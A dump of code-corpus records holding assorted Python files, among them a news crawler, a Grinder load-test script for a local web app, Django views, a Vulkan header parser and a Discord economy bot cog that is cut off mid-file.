{}\\n\".format(conda_package))\n        f.write(\"- pip:\\n\")\n        for pip_package in pip_packages.values():\n            f.write(\"  - {}\\n\".format(pip_package))\n\n    print(\"Generated conda file: {}\".format(conda_file))\n    print(HELP_MSG.format(conda_env=conda_env))\n","sub_path":"notebooks/scripts/generate_conda_file.py","file_name":"generate_conda_file.py","file_ext":"py","file_size_in_byte":5338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"168394780","text":"import glob\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('-pt','--protein_name',required=True)\nparser.add_argument('-fp','--file_path',required=True)\nparser.add_argument('-it','--n_iteration',required=True)\n\nio_args = parser.parse_args()\nimport os\nimport time\nimport pandas as pd\nimport numpy as np\n\n\n\nprotein = io_args.protein_name\nfile_path = io_args.file_path\nn_it =  int(io_args.n_iteration)\n\nold_dict = {}\nfor i in range(1,n_it):\n    with open(glob.glob(file_path+'/'+protein+'/iteration_'+str(i)+'/training_labels*')[-1]) as ref:\n        ref.readline()\n        for line in ref:\n            tmpp = line.strip().split(',')[-1]\n            old_dict[tmpp] = 1\n    with open(glob.glob(file_path+'/'+protein+'/iteration_'+str(i)+'/validation_labels*')[-1]) as ref:\n        ref.readline()\n        for line in ref:\n            tmpp = line.strip().split(',')[-1]\n            old_dict[tmpp] = 1\n    with open(glob.glob(file_path+'/'+protein+'/iteration_'+str(i)+'/testing_labels*')[-1]) as ref:\n        ref.readline()\n        for line in ref:\n            tmpp = line.strip().split(',')[-1]\n            old_dict[tmpp] = 1\n\nt=time.time()\nnew_train = {}\nnew_valid = {}\nnew_test = {}\nwith open(glob.glob(file_path+'/'+protein+'/iteration_'+str(n_it)+'/train_set*')[-1]) as ref:\n    for line in ref:\n        tmpp = line.strip().split(',')[0]\n        new_train[tmpp] = 1\nwith open(glob.glob(file_path+'/'+protein+'/iteration_'+str(n_it)+'/valid_set*')[-1]) as ref:\n    for line in ref:\n        tmpp = line.strip().split(',')[0]\n        new_valid[tmpp] = 1\nwith open(glob.glob(file_path+'/'+protein+'/iteration_'+str(n_it)+'/test_set*')[-1]) as ref:\n    for line in ref:\n        tmpp = line.strip().split(',')[0]\n        new_test[tmpp] = 1\nprint(time.time()-t)\n\nt=time.time()\nfor keys in new_train.keys():\n    if keys in new_valid.keys():\n        new_valid.pop(keys)\n    if keys in new_test.keys():\n        new_test.pop(keys)\nfor keys in new_valid.keys():\n    if keys in new_test.keys():\n        new_test.pop(keys)\nprint(time.time()-t)\n\nfor keys in old_dict.keys():\n    if keys in new_train.keys():\n        new_train.pop(keys)\n    if keys in new_valid.keys():\n        new_valid.pop(keys)\n    if keys in new_test.keys():\n        new_test.pop(keys)\n        \nwith open(file_path+'/'+protein+'/iteration_'+str(n_it)+'/train_set.txt','w') as ref:\n    for keys in new_train.keys():\n        ref.write(keys+'\\n')\nwith open(file_path+'/'+protein+'/iteration_'+str(n_it)+'/valid_set.txt','w') as ref:\n    for keys in new_valid.keys():\n        ref.write(keys+'\\n')\nwith open(file_path+'/'+protein+'/iteration_'+str(n_it)+'/test_set.txt','w') as ref:\n    for keys in new_test.keys():\n        ref.write(keys+'\\n')\n","sub_path":"pd_python/sanity_check.py","file_name":"sanity_check.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"347124183","text":"import bson\n\nfrom ..auth.containerauth import validate_container_permissions\nfrom ..dao.basecontainerstorage import ContainerStorage\nfrom ..web import base\nfrom ..web.errors import APIPermissionException, APIValidationException\nfrom ..validators import validate_data\nfrom ..auth import require_privilege, Privilege\n\nclass BulkHandler(base.RequestHandler):\n    \"\"\"\n    \"\"\"\n\n    def __init__(self, request=None, response=None):\n\n        self.payload = request.json_body\n        self.source_storage = None\n        self.dest_storage = None\n        self.source_list = None\n        self.dest_list = None\n\n        super(BulkHandler, self).__init__(request, response)\n\n    @require_privilege(Privilege.is_user)\n    def bulk(self, operation, source_cont_name):\n        \"\"\"Entry point for the bulk operations\"\"\"\n\n        validate_data(self.payload, 'bulk.json', 'input', 'POST')\n\n        method = '_{}_{}_to_{}'.format(operation, source_cont_name,\n                                       self.payload['destination_container_type'])\n        try:\n            getattr(self, method)\n        except AttributeError:\n            self.abort(501, 'This method is not implemented yet')\n\n        self.dest_storage = ContainerStorage.factory(self.payload['destination_container_type'])\n        self.source_storage = ContainerStorage.factory(source_cont_name)\n\n        self.source_list = []\n        self.dest_list = []\n        if source_cont_name != 'groups':\n            for _s in self.payload['sources']:\n                self.source_list.append(bson.ObjectId(_s))\n            for _d in self.payload['destinations']:\n                self.dest_list.append(bson.ObjectId(_d))\n        else:\n            self.source_list = self.payload['sources']\n            self.dest_list = self.payload(['destinations'])\n\n        if not self.user_is_admin:\n\n            if not validate_container_permissions(\n                    self.dest_list, self.payload['destination_container_type'], self.uid, 'rw'):\n                raise APIPermissionException('You do not have sufficient permission on destination container')\n\n            if not validate_container_permissions(self.source_list, source_cont_name, self.uid, 'ro'):\n                raise APIPermissionException('You do not have read permission on all the source containers')\n\n        self._validate_inputs()\n\n        return getattr(self, method)()\n\n    def _validate_inputs(self):\n        \"\"\"\n        Validate inputs are given and exist in the system\n        \"\"\"\n\n        if not self.source_list:\n            raise APIValidationException('You must provide at least one source')\n\n        if not self.dest_list:\n            raise APIValidationException('You must provide at least one destination')\n\n        if len(self.source_list) > 1 and len(self.dest_list) > 1:\n            raise APIValidationException('You can not specify multiple sources and destinations.')\n\n        sources = self.source_storage.get_all_el(query={'_id': {'$in': self.source_list}},\n            user=None, projection={'_id': 1})\n        if len(sources) != len(self.source_list):\n            source_set = set()\n            for src in sources:\n                source_set.add(src['_id'])\n            missing = set(self.source_list) - source_set\n            raise APIValidationException('The following sources are not valid: {}'.format(', '.join(str(s) for s in missing)))\n\n        dests = self.dest_storage.get_all_el(query={'_id': {'$in': self.dest_list}},\n            user=None, projection={'_id': 1})\n        if len(dests) != len(self.dest_list):\n            dest_set = set()\n            for dst in dests:\n                dest_set.add(dst['_id'])\n            missing = set(self.dest_list) - dest_set\n            raise APIValidationException('The following destinations are not valid: {}'.format(', '.join(str(s) for s in missing)))\n\n\n    def _move_sessions_to_projects(self):\n        '''\n        Requires a 2 phase approach.\n        Generally First is the dry run the second is with the conflict mode set to copy or move\n\n        For the matter of subjects existing they will have the same 'code'\n        1. If the subject for the session in the source project does not exist in the destination project\n            a. If the subject in the source project has more than one session\n    \t\ti. Copy the subject to the destination project and move the session to the copy\n    \t    b. If the subject in the source project session has just the session to be moved\n    \t\ti. Move the subject (with the session) to the destination project\n        2. If the subject for the session in the source project does exist\n            a. Raise an error (Conflict) on the dry run\n    \t    b. On the full run either move or skip\n    \t\ti. move the session to the subject in the destination but leave the subject in the source\n    \t\tii. Or skip the move entirely.\n        '''\n\n        return self.source_storage.move_sessions_to_project(self.source_list, self.dest_list[0], conflict_mode=self.payload['conflict_mode'])\n\n    def _move_sessions_to_subjects(self):\n        '''\n        Moves all sessions in the soruce list to the destination project\n        Subjects that do not exist in the destination will be copied\n        Conflicts are not an issue so its just a bulk move to update pointers\n        '''\n        if (self.payload['conflict_mode'] == 'dry'):\n            return None\n\n        self.source_storage.move_sessions_to_subject(self.source_list, self.dest_list[0], conflict_mode=self.payload['conflict_mode'])\n","sub_path":"api/handlers/bulkhandler.py","file_name":"bulkhandler.py","file_ext":"py","file_size_in_byte":5481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"610536936","text":"#!/usr/bin/env python\n\n\n\nclass MergeSort:\n\n    def sort(self,array):\n\n        if len(array) <= 1:\n            return array\n        else:\n            left = self.sort(array[:(len(array) / 2)])\n            right = self.sort(array[(len(array) / 2):])\n            array = self._merge(left,right)\n        return array\n\n    def _merge(self,left,right):\n        array =[]\n        i=0\n        j=0\n        while i < len(right) and j < len(left) :\n            if left[j] < right[i]:\n                array.append(left[j])\n                j += 1\n            else:\n                array.append(right[i])\n                i += 1\n        if i < len(right):\n            array.extend(right[i:])\n        elif j < len(left):\n            array.extend(left[j:])\n        return array\n\n    def __str__(self):\n        return 'MergeSort'\n\n\n\n","sub_path":"sortingAlgorithms/mergeSort.py","file_name":"mergeSort.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"586151757","text":"# mge - Modern Game Engine\n# Copyright (c) 2017-2023 by Alexander Schroeder\n# All rights reserved.\nimport sys\nimport re\n\nprint(\"=== EXTRACT VULKAN INSTANCE FUNCTIONS ===\")\nsourceFile = sys.argv[1]\ntargetFile = sys.argv[2]\nprint(\"-- Source header file to process: {0}\".format(sourceFile))\nprint(\"-- Target header file to write: {0}\".format(targetFile))\nlines = []\nwith open(sourceFile, \"r\") as f:\n    l = f.readline()\n    while l:\n        lines.append(l)\n        l = f.readline()\n\nprint(\"-- Read {0} lines\".format(len(lines)))\n# these functions or defines are not looked up by\n# vkGetInstanceProcAddr\nexcludedFunctions = [\n    \"vkAllocationFunction\",\n    \"vkReallocationFunction\",\n    \"vkFreeFunction\",\n    \"vkInternalAllocationNotification\",\n    \"vkInternalFreeNotification\",\n    \"vkVoidFunction\",\n    \"vkGetInstanceProcAddr\",\n    \"vkCreateDebugReportCallbackEXT\",\n    \"vkDestroyDebugReportCallbackEXT\",\n]\n\ndef is_basic_instance_function(f):\n    explicitInstanceFunctions = [\n        \"vkEnumerateInstanceExtensionProperties\",\n        \"vkEnumerateInstanceLayerProperties\",\n        \"vkCreateInstance\",\n    ]\n    return f in explicitInstanceFunctions\n\n\ndef is_instance_function(f, remainder):\n    if f == \"vkGetDeviceProcAddr\":\n        return True\n    prefixes = [\n        \"(VkInstance instance,\",\n        \"(VkPhysicalDevice physicalDevice,\"\n    ]\n    for p in prefixes:\n        if remainder.startswith(p):\n            return True\n    return False\n\nwriteLines = []\n\nfor line in lines:\n    # (VKAPI_PTR *PFN_XXXXX)\n    m = re.search(\"\\(VKAPI_PTR \\*PFN_(\\w+)\\)(.*)\", line)\n    if m:\n        functionName = m.group(1)\n        remainder = m.group(2)\n        #print(\"-- Found function {0}\".format(functionName))\n        if functionName in excludedFunctions:\n            print(\"-- No loaded function: {0}\".format(functionName))\n        elif is_basic_instance_function(functionName):\n            writeLines.append(\"BASIC_INSTANCE_FUNCTION({0})\".format(functionName))\n        elif is_instance_function(functionName, remainder):\n            writeLines.append(\"INSTANCE_FUNCTION({0})\".format(functionName))\n            print(\"-- Instance function: {0}\".format(functionName))\n        else:\n            writeLines.append(\"DEVICE_FUNCTION({0})\".format(functionName))\n            print(\"-- Device function: {0}{1}\".format(functionName, remainder))\n\nwith open(targetFile, \"w\") as f:\n    print(\"/* Generated file, do not edit */\", file=f)\n    for l in writeLines:\n        print(l, file=f)","sub_path":"src/modules/vulkan/extract_functions.py","file_name":"extract_functions.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"291915300","text":"# 파스칼의 삼각형과 동전 개수\n# n=45일 때 동전/지폐 갯수의 합\n\nn = 45\n\n# 내가 만든 파스칼 만드는 방법\n# pascal = [[0 for _ in range(n + 1)] for _ in range(n + 1)]\n# pascal[0][0] = 1\n\n# for current in range(1, n + 1):\n#     pascal[current][0] = 1\n#     for before in range(1, current+1):\n#         pascal[current][before] = pascal[current-1][before - 1] + pascal[current-1][before]\n\n# 책에서 만드는 방법\npascal = [0] * (n + 1)\npascal[0] = 1\nfor i in range(n):\n    for j in range(i + 1, 0, -1):\n        pascal[j] += pascal[j - 1]\nprint(pascal)\n\ndef count_money(r):\n    coin = [10000, 5000, 2000, 1000, 500, 100, 50, 10, 5, 1]\n    res = 0\n    for c in coin:\n        cnt, r = divmod(r, c)\n        res += cnt\n    return res\n\ntotal = 0\nfor i in range(n + 1):\n    total += count_money(pascal[n][i])\nprint(total)\n","sub_path":"SsangWoo/python/book/puzzle69/05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"340814972","text":"from newsdb.models import New, Subject, Brand, Brand_sub\nfrom newsdb.serializers import SubjectSerializer\nimport requests\nfrom bs4 import BeautifulSoup as bs\nimport json\nimport os, re\nfrom tqdm import tqdm\nfrom datetime import date\nfrom multiprocessing import Pool\nfrom multiprocessing.pool import ThreadPool\nfrom time import time\n\n\nclass ftvnews_crawling:\n    brand_name = \"民視新聞\"\n    brand_url = \"https://www.ftvnews.com.tw/\"\n    brand_ID = 12\n    cateList = ['政治','生活','社會','財經','兩岸','國際','體育']\n    api_url = \"https://api.ftvnews.com.tw/api/FtvGetNews\"\n    def __init__(self):\n        self.brand = Brand.objects.get(id=self.brand_ID)\n        self.sub = Subject.objects.all()\n        pass\n    def crawl_category(self):\n        \"\"\" \"\"\"\n        ls = []\n        res = requests.get(\"https://api.ftvnews.com.tw/api/FtvGetNewsCate\")\n        cate = json.loads(res.content)\n        for i in cate:\n            if i['Title'] in self.cateList:\n                ls.append({\n                    'type_cn': i['Title'],\n                    'href': self.brand_url + \"overview/\"+i['ID'],\n                    'cate': i['ID'],\n                    'sub': self.sub.get(sub_name=i['Title'])\n                })\n        self.links = ls\n\n\n    def encap(self, i, type_cn, date):\n        time = i['CreateDate'].replace('/', '-')\n        time = re.search('[0-9]+-[0-9]+-[0-9]+', time).group(0)\n        if i['Content'] == '':\n            content = bs(i['Preface'], 'html.parser')\n        else:\n            content = bs(i['Content'], 'html.parser')\n        try:\n            author = content.select('p')[-1].get_text()\n        except IndexError:\n            try:\n                author = content.select('li')[-1].get_text()\n            except IndexError:\n                print(i['Content'])\n                print('-'*100)\n                print(i['Preface'])\n                author = \"None\"\n        author = author.replace(' ', '')\n        content = content.get_text()\n        if date == 'all' or time in date:\n            return {\n                'title': i['Title'],\n                'url': i['WebLink'],\n                'date': time,\n                'content': content,\n                'brand': self.brand,\n                'sub': type_cn,\n                'author': author\n             }\n        else:\n            return None\n\n    def aux_news(self, cate, num, date, type_cn):\n        ls = []\n        query = self.api_url + \"?Cate={}&Page={}&Sp=18\".format(cate, num)\n        res = requests.get(query)\n        news = json.loads(res.content)\n        try:\n            for i in news['ITEM']:\n                tmp = self.encap(i, type_cn, date)\n                if tmp != None:\n                    ls.append(tmp)\n        except KeyError:\n            print(news)\n        return ls\n\n    def request_news(self, info, date):\n        query = self.api_url + \"?Cate={}&Page={}&Sp=18\".format(info['cate'], 1)\n        res = requests.get(query)\n        news = json.loads(res.content)\n        tp = news['PageTotal']\n        ls = []\n        pool = ThreadPool(processes=8)\n        result = []\n        for num in tqdm(range(2, int(tp*0.7)), total=tp, desc=\"Assign\"):\n            ls.append(pool.apply_async(self.aux_news, (info['cate'], num, date, info['sub'])))\n\n        print(info['type_cn'])\n        for i in tqdm(ls, total=len(ls), desc=info['type_cn']):\n            result.extend(i.get())\n\n        for i in news['ITEM']:\n            result.append(self.encap(i, info['type_cn'], date))\n        return result\n\n\n    def crawl_news(self, type_cn='all', date='all'):\n\n        ls = []\n        result = []\n        pool = Pool(processes=8)\n        for i in tqdm(self.links, total=len(self.links)):\n            if type_cn == 'all' or i['type_cn'] in type_cn:\n                ls.append(pool.apply_async(self.request_news, (i, date)))\n        for i in tqdm(ls, total=len(ls), desc='main'):\n            result.extend(i.get())\n\n        return result\n\n    def getNews(self, date=[date.today().isoformat()]):\n        self.crawl_category()\n        return self.crawl_news(date=date)\n    def getNewsToday(self):\n        return self.getNews(date=[date.today().isoformat()])\n\n    def insertNews(self, news):\n        for dn in news:\n            try:\n                tmp = New(**dn)\n                tmp.save()\n            except:\n                print(tmp)\n                return False\n        return True","sub_path":"news_site/crawling/apis/ftvnews_api.py","file_name":"ftvnews_api.py","file_ext":"py","file_size_in_byte":4371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"524060041","text":"# The Grinder 3.2\r\n# HTTP script recorded by TCPProxy at Feb 23, 2009 6:12:52 PM\r\n\r\nfrom net.grinder.script import Test\r\nfrom net.grinder.script.Grinder import grinder\r\nfrom net.grinder.plugin.http import HTTPPluginControl, HTTPRequest\r\nfrom HTTPClient import NVPair\r\nconnectionDefaults = HTTPPluginControl.getConnectionDefaults()\r\nhttpUtilities = HTTPPluginControl.getHTTPUtilities()\r\n\r\n# To use a proxy server, uncomment the next line and set the host and port.\r\n# connectionDefaults.setProxyServer(\"localhost\", 8001)\r\n\r\n# These definitions at the top level of the file are evaluated once,\r\n# when the worker process is started.\r\n\r\nconnectionDefaults.defaultHeaders = \\\r\n  ( NVPair('Accept-Language', 'en-us,en;q=0.5'),\r\n    NVPair('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7'),\r\n    NVPair('Accept-Encoding', 'gzip,deflate'),\r\n    NVPair('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6'), )\r\n\r\nheaders0= \\\r\n  ( NVPair('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'), )\r\n\r\nheaders1= \\\r\n  ( NVPair('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),\r\n    NVPair('Referer', 'http://localhost:8080/sustain/login.jsp'), )\r\n\r\nheaders2= \\\r\n  ( NVPair('Accept', '*/*'),\r\n    NVPair('Referer', 'http://localhost:8080/sustain/cms/dashboard'), )\r\n\r\nheaders3= \\\r\n  ( NVPair('Accept', 'image/png,image/*;q=0.8,*/*;q=0.5'),\r\n    NVPair('Referer', 'http://localhost:8080/sustain/menus/tree.css'), )\r\n\r\nheaders4= \\\r\n  ( NVPair('Accept', 'text/javascript, text/html, application/xml, text/xml, */*'),\r\n    NVPair('Referer', 'http://localhost:8080/sustain/cms/dashboard'),\r\n    NVPair('Cache-Control', 'no-cache'), )\r\n\r\nheaders5= \\\r\n  ( NVPair('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),\r\n    NVPair('Referer', 'http://localhost:8080/sustain/cms/dashboard'), )\r\n\r\nurl0 = 'http://localhost:8080'\r\n\r\n# Create an HTTPRequest for each request, then replace the\r\n# reference to the HTTPRequest with an instrumented version.\r\n# You can access the unadorned instance using request101.__target__.\r\nrequest101 = HTTPRequest(url=url0, headers=headers0)\r\nrequest101 = Test(101, 'GET /').wrap(request101)\r\n\r\nrequest102 = HTTPRequest(url=url0, headers=headers0)\r\nrequest102 = Test(102, 'GET dashboard').wrap(request102)\r\n\r\nrequest103 = HTTPRequest(url=url0, headers=headers0)\r\nrequest103 = Test(103, 'GET login.jsp').wrap(request103)\r\n\r\n# submit login\r\nrequest201 = HTTPRequest(url=url0, headers=headers1)\r\nrequest201 = Test(201, 'GET j_security_check').wrap(request201)\r\n\r\nrequest202 = HTTPRequest(url=url0, headers=headers1)\r\nrequest202 = Test(202, 'GET dashboard').wrap(request202)\r\n\r\nrequest203 = HTTPRequest(url=url0, headers=headers2)\r\nrequest203 = Test(203, 'GET engine.js').wrap(request203)\r\n\r\nrequest204 = HTTPRequest(url=url0, headers=headers2)\r\nrequest204 = Test(204, 'GET userNoteManagerAjax.js').wrap(request204)\r\n\r\nrequest205 = HTTPRequest(url=url0, headers=headers3)\r\nrequest205 = Test(205, 'GET leftnavEmpty_bg.gif').wrap(request205)\r\n\r\nrequest301 = HTTPRequest(url=url0, headers=headers4)\r\nrequest301 = Test(301, 'POST history').wrap(request301)\r\n\r\n# click logout\r\nrequest401 = HTTPRequest(url=url0, headers=headers5)\r\nrequest401 = Test(401, 'GET j_sustain_logout').wrap(request401)\r\n\r\nrequest402 = HTTPRequest(url=url0, headers=headers5)\r\nrequest402 = Test(402, 'GET index.jsp').wrap(request402)\r\n\r\nrequest403 = HTTPRequest(url=url0, headers=headers5)\r\nrequest403 = Test(403, 'GET dashboard').wrap(request403)\r\n\r\nrequest404 = HTTPRequest(url=url0, headers=headers5)\r\nrequest404 = Test(404, 'GET login.jsp').wrap(request404)\r\n\r\n\r\nclass TestRunner:\r\n  \"\"\"A TestRunner instance is created for each worker thread.\"\"\"\r\n\r\n  # A method for each recorded page.\r\n  def page1(self):\r\n    \"\"\"GET / (requests 101-103).\"\"\"\r\n    \r\n    # Expecting 302 'Moved Temporarily'\r\n    result = request101.GET('/sustain/')\r\n\r\n    grinder.sleep(16)\r\n    \r\n    # Expecting 302 'Moved Temporarily'\r\n    request102.GET('/sustain/cms/dashboard')\r\n\r\n    request103.GET('/sustain/login.jsp')\r\n\r\n    return result\r\n\r\n  def page2(self):\r\n    \"\"\"GET j_security_check (requests 201-205).\"\"\"\r\n    self.token_j_username = \\\r\n      'admin'\r\n    self.token_j_password = \\\r\n      'pass'\r\n    self.token_btnSubmit = \\\r\n      '++Login++'\r\n    \r\n    # Expecting 302 'Moved Temporarily'\r\n    result = request201.GET('/sustain/j_security_check' +\r\n      '?j_username=' +\r\n      self.token_j_username +\r\n      '&j_password=' +\r\n      self.token_j_password +\r\n      '&btnSubmit=' +\r\n      self.token_btnSubmit)\r\n\r\n    request202.GET('/sustain/cms/dashboard')\r\n    self.token_dispatch = \\\r\n      httpUtilities.valueFromBodyURI('dispatch') # 'onView'\r\n    self.token_orgapachestrutstaglibhtmlTOKEN = \\\r\n      httpUtilities.valueFromHiddenInput('org.apache.struts.taglib.html.TOKEN') # '0771bd70be561ee90d3491d26846bfe0'\r\n\r\n    grinder.sleep(406)\r\n    request203.GET('/sustain/dwr/engine.js', None,\r\n      ( NVPair('If-Modified-Since', 'Thu, 19 Feb 2009 01:16:08 GMT'),\r\n        NVPair('If-None-Match', '\\\"1235006168000\\\"'), ))\r\n\r\n    grinder.sleep(47)\r\n    request204.GET('/sustain/dwr/interface/userNoteManagerAjax.js')\r\n\r\n    grinder.sleep(62)\r\n    request205.GET('/sustain/menus/leftnavEmpty_bg.gif')\r\n\r\n    return result\r\n\r\n  def page3(self):\r\n    \"\"\"POST history (request 301).\"\"\"\r\n    self.token_dispatch = \\\r\n      'portlet'\r\n    self.token_max = \\\r\n      '10'\r\n    result = request301.POST('/sustain/cms/case/history' +\r\n      '?dispatch=' +\r\n      self.token_dispatch +\r\n      '&max=' +\r\n      self.token_max,\r\n      '',\r\n      ( NVPair('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8'), ))\r\n    # 5 different values for token_caseId found in response, using the first one.\r\n    self.token_caseId = \\\r\n      httpUtilities.valueFromBodyURI('caseId') # '17999'\r\n\r\n    return result\r\n\r\n  def page4(self):\r\n    \"\"\"GET j_sustain_logout (requests 401-404).\"\"\"\r\n    \r\n    # Expecting 302 'Moved Temporarily'\r\n    result = request401.GET('/sustain/j_sustain_logout')\r\n\r\n    \r\n    # Expecting 302 'Moved Temporarily'\r\n    request402.GET('/sustain/index.jsp')\r\n\r\n    \r\n    # Expecting 302 'Moved Temporarily'\r\n    request403.GET('/sustain/cms/dashboard')\r\n\r\n    request404.GET('/sustain/login.jsp')\r\n\r\n    return result\r\n\r\n  def __call__(self):\r\n    \"\"\"This method is called for every run performed by the worker thread.\"\"\"\r\n    self.page1()      # GET / (requests 101-103)\r\n\r\n    grinder.sleep(16485)\r\n    self.page2()      # GET j_security_check (requests 201-205)\r\n\r\n    grinder.sleep(110)\r\n    self.page3()      # POST history (request 301)\r\n\r\n    grinder.sleep(7843)\r\n    self.page4()      # GET j_sustain_logout (requests 401-404)\r\n\r\n\r\ndef instrumentMethod(test, method_name, c=TestRunner):\r\n  \"\"\"Instrument a method with the given Test.\"\"\"\r\n  unadorned = getattr(c, method_name)\r\n  import new\r\n  method = new.instancemethod(test.wrap(unadorned), None, c)\r\n  setattr(c, method_name, method)\r\n\r\n# Replace each method with an instrumented version.\r\n# You can call the unadorned method using self.page1.__target__().\r\ninstrumentMethod(Test(100, 'Page 1'), 'page1')\r\ninstrumentMethod(Test(200, 'Page 2'), 'page2')\r\ninstrumentMethod(Test(300, 'Page 3'), 'page3')\r\ninstrumentMethod(Test(400, 'Page 4'), 'page4')\r\n","sub_path":"misc/test-scripts/grinder/tests/login_logout.py","file_name":"login_logout.py","file_ext":"py","file_size_in_byte":7324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"195598704","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/russell/manager/russell_ignore.py\n# Compiled at: 2018-12-27 05:19:41\nimport os\nfrom russell.constants import DEFAULT_FLOYD_IGNORE_LIST\nfrom russell.log import logger as russell_logger\n\nclass RussellIgnoreManager(object):\n    \"\"\"\n    Manages .russellignore file in the current directory\n    \"\"\"\n    CONFIG_FILE_PATH = os.path.join(os.getcwd(), '.russellignore')\n\n    @classmethod\n    def init(cls, path=None):\n        if path:\n            config_path = os.path.join(path, '.russellignore')\n        else:\n            config_path = cls.CONFIG_FILE_PATH\n        if os.path.isfile(config_path):\n            russell_logger.debug(('russell ignore file already present at {}').format(config_path))\n            return\n        russell_logger.debug(('Setting default russell ignore in the file {}').format(config_path))\n        with open(config_path, 'w') as (config_file):\n            config_file.write(DEFAULT_FLOYD_IGNORE_LIST)\n\n    @classmethod\n    def get_list(cls):\n        if not os.path.isfile(cls.CONFIG_FILE_PATH):\n            return []\n        ignore_dirs = []\n        whitelist = []\n        with open(cls.CONFIG_FILE_PATH, 'r') as (russell_ignore_file):\n            for line in russell_ignore_file:\n                line = line.strip()\n                if line and not line.startswith('#'):\n                    ignore_dirs.append(line)\n\n        return (\n         ignore_dirs, whitelist)","sub_path":"pycfiles/xxxy_cli-0.7.7-py2.7/russell_ignore.py","file_name":"russell_ignore.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"78910994","text":"from django.shortcuts import render, redirect\nfrom django.db.models import Q\nfrom .models import post, report as myreport\n\n# Create your views here.\n\ndef search(request):\n    cat = \"id\"\n    context={\n        'post':post.objects.all().order_by(cat),\n        'request':''\n    }\n    if request.method == 'POST':\n        if request.POST.get('rbutton', None) == 'head':\n            cat = 'title'\n        elif request.POST.get('rbutton', None) == 'finger':\n            cat = 'id'\n        if len(request.POST['search']) != 0:\n            q = Q(color__icontains=request.POST['search'])\n            context={\n                'post':post.objects.filter(q).order_by(cat),\n                'request':request.POST['search']\n            }\n        elif len(request.POST['search']) == 0:\n            context={\n                'post':post.objects.all().order_by(cat),\n                'request':request.POST['search']\n            }\n    return render(request, \"search/index.html\", context)\n\n\ndef like(request):\n    if request.method == 'POST':\n        Post = post.objects.get(id=1)\n        Post.applications += 1\n        Post.save()\n        return redirect(\"home\")\n\ndef dislike(request):\n    if request.method == 'POST':\n        Post = post.objects.get(id=1)\n        Post.applications -= 1\n        Post.save()\n        return redirect(\"home\")\n\ndef report(request):\n    if request.method == 'POST':\n        Report = myreport()\n        Report.text = request.POST['report_text']\n        Report.save()\n        return redirect(\"home\")\n","sub_path":"playground_/search/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"505570904","text":"#!/usr/bin/python3\nimport discord\nimport json\nfrom discord.ext import commands\n\nclass Economy(commands.Cog):\n\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.command(name=\"balance\")\n    async def balance(self, context):\n        \"\"\" Displays User's balance\n\n        Input:  commands.Context\n        Output: None\n        \"\"\"\n\n        await self.open_account(context.author)\n\n        users = await self.get_bank_data()\n\n        pouch_amt = users[str(context.author.id)][\"pouch\"]\n        bank_amt = users[str(context.author.id)][\"bank\"]\n\n        em = discord.Embed(title = f\"{context.author.name}'s balance\")\n        em.add_field(name = \"Pouch Amount\", value = pouch_amt)\n        em.add_field(name = \"Bank Balance\", value = bank_amt)\n        await context.send(embed = em)\n    \n    @commands.command(name=\"give_myself_money\")\n    @commands.has_role('Creator')\n    async def give_myself_money(self, context, amount):\n        \"\"\" Test command, gives the caller's money\n\n        Input:  commands.Context, amount(Str)\n        Output: None\n        \"\"\"\n\n        await self.open_account(context.author)\n        await context.send(f\"Obtained {amount} coins\")\n        await self.add_money(context.author, amount)\n\n    @commands.command(name=\"donate_to_thin_air\")\n    async def donate_to_thin_air(self, context, amount):\n        \"\"\" Test command, subtracts the caller's money\n\n        Input:  commands.Context, amount(Str)\n        Output: None\n        \"\"\"\n\n        await self.open_account(context.author)\n        await context.send(f\"Lost {amount} coins\")\n        await self.subtract_money(context.author, amount)\n\n    async def add_money(self, user, amount):\n        \"\"\" Helper function, adds money to user's pouch\n\n        Input:  discord.User, amount(Str)\n        Output: (Bool) False if user does not exist in the bank, True otherwise\n        \"\"\"\n\n        users = await self.get_bank_data()\n\n        if str(user.id) not in users:\n            return False       \n\n        else:\n            users[str(user.id)][\"pouch\"] += int(amount)\n            with open('centralbank.json', 'w') as file:\n                json.dump(users,file)\n            return True\n\n    async def subtract_money(self, user, amount):\n        \"\"\" Helper function, subtracts money from user's pouch\n\n        Input:  discord.User, amount(Str)\n        Output: (Bool) False if user does not exist in the bank, True otherwise\n        \"\"\"\n\n        users = await self.get_bank_data()\n\n        if str(user.id) not in users:\n            return False       \n\n        else:\n            users[str(user.id)][\"pouch\"] -= int(amount)\n            with open('centralbank.json', 'w') as file:\n                json.dump(users,file)\n            return True\n\n    async def open_account(self,user):\n        \"\"\" Helper function, adds an entry to the 